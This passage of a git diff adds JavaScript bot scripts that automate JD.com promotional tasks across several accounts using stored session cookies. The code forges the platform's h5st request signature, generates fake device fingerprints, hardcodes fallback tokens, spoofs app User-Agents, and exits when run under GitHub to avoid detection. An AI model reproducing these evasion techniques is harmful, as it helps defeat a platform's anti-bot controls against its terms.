2}&_ste=1`; + if (taskId) { + url += `&taskId=${taskId}`; + } + if (stk) { + url += `&_stk=${stk}`; + } + //传入url进行签名 + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + return { + url, + "headers": { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': "jdpingou;iPhone;3.15.2;13.5.1;90bab9217f465a83a99c0b554a946b0b0d5c2f7a;network/wifi;model/iPhone12,1;appBuild/100365;ADID/696F8BD2-0820-405C-AFC0-3C6D028040E5;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/14;pap/JA2015_311210;brand/apple;supportJDSHWK/1;", + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_family.js b/jd_family.js new file mode 100644 index 0000000..5b4ffc2 --- /dev/null +++ b/jd_family.js @@ -0,0 +1,280 @@ +/* +京东家庭号 +活动入口:玩一玩-家庭号 +8000幸福值可换100京豆,一天任务做完大概300幸福值,周期较长 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js + +易黑号,建议禁用 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东家庭号 +1 12,23 * * * jd_family.js, tag=京东家庭号, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_family.png, enabled=true + +================Loon============== +[Script] +cron "1 12,23 * * *" script-path=jd_family.js,tag=京东家庭号 + +===============Surge================= +京东家庭号 = type=cron,cronexp="1 12,23 * * *",wake-system=1,timeout=3600,script-path=jd_family.js + +============小火箭========= +京东家庭号 = type=cron,script-path=jd_family.js, cronexpr="1 12,23 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东家庭号'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdFamily() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdFamily() { + await getInfo() + await getUserInfo() + await getUserInfo(true) + await showMsg(); +} + +function showMsg() { + return new Promise(resolve => { + // message += `本次运行获得${$.beans}京豆` + $.log($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +function getInfo() { + return new Promise(resolve => { + $.get({ + url: 'https://lgame.jd.com/babelDiy/Zeus/VhPVVaw8nTSVr69E757fyCebwKG/index.html', + headers: { + Cookie: cookie + } + }, async (err, resp, data) => { + try { + $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) + $.prize = JSON.parse($.info.prize) + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} + +function getUserInfo(info = false) { + return new Promise(resolve => { + $.get(taskUrl('family_query'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]) + console.log(`当前幸福值:${$.userInfo.tatalprofits}`) + if (info) { + message += `当前幸福值:${$.userInfo.tatalprofits}` + } else for (let task of $.info.config.tasks) { + let vo = $.userInfo.tasklist.filter(vo => vo.taskid === task['_id']) + if (vo.length > 0) { + vo = vo[0] + // 5fed97ce5da81a8c069810df 健身 2 9 3 + // 5fed97ce5da81a8c069810de 撸猫 80 6 1 + // 5fed97ce5da81a8c069810dd 做美食 40 10 2 + // 5fed97ce5da81a8c069810dc 去组队 150 13 5 + if (vo['isdo'] === 1) { + if (vo['times'] === 0) { + console.log(`去做任务${task['_id']}`) + await doTask(task['_id']) + await $.wait(1000) + } else { + console.log(`${Math.trunc(vo['times'] / 60)}分钟可后做任务${task['_id']}`) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doTask(taskId) { + let body = `taskid=${taskId}` + return new Promise(resolve => { + $.get(taskUrl('family_task', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.ret === 0) { + console.log(`任务完成成功`) + } else { + console.log(`任务完成失败,原因未知`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body = '') { + body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&t=${Date.now()}&_=${new Date().getTime()}&callback=query&${body}` + return { + url: `https://wq.jd.com/activep3/family/${function_id}?${body}`, + headers: { + 'Host': 'wq.jd.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'wq.jd.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd`, + 'Cookie': cookie + } + } +} + +function taskPostUrl(function_id, body) { + return { + url: `https://lzdz-isv.isvjcloud.com/${function_id}`, + body: body, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://lzdz-isv.isvjcloud.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, + 'Cookie': `${cookie} isvToken=${$.isvToken};` + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let 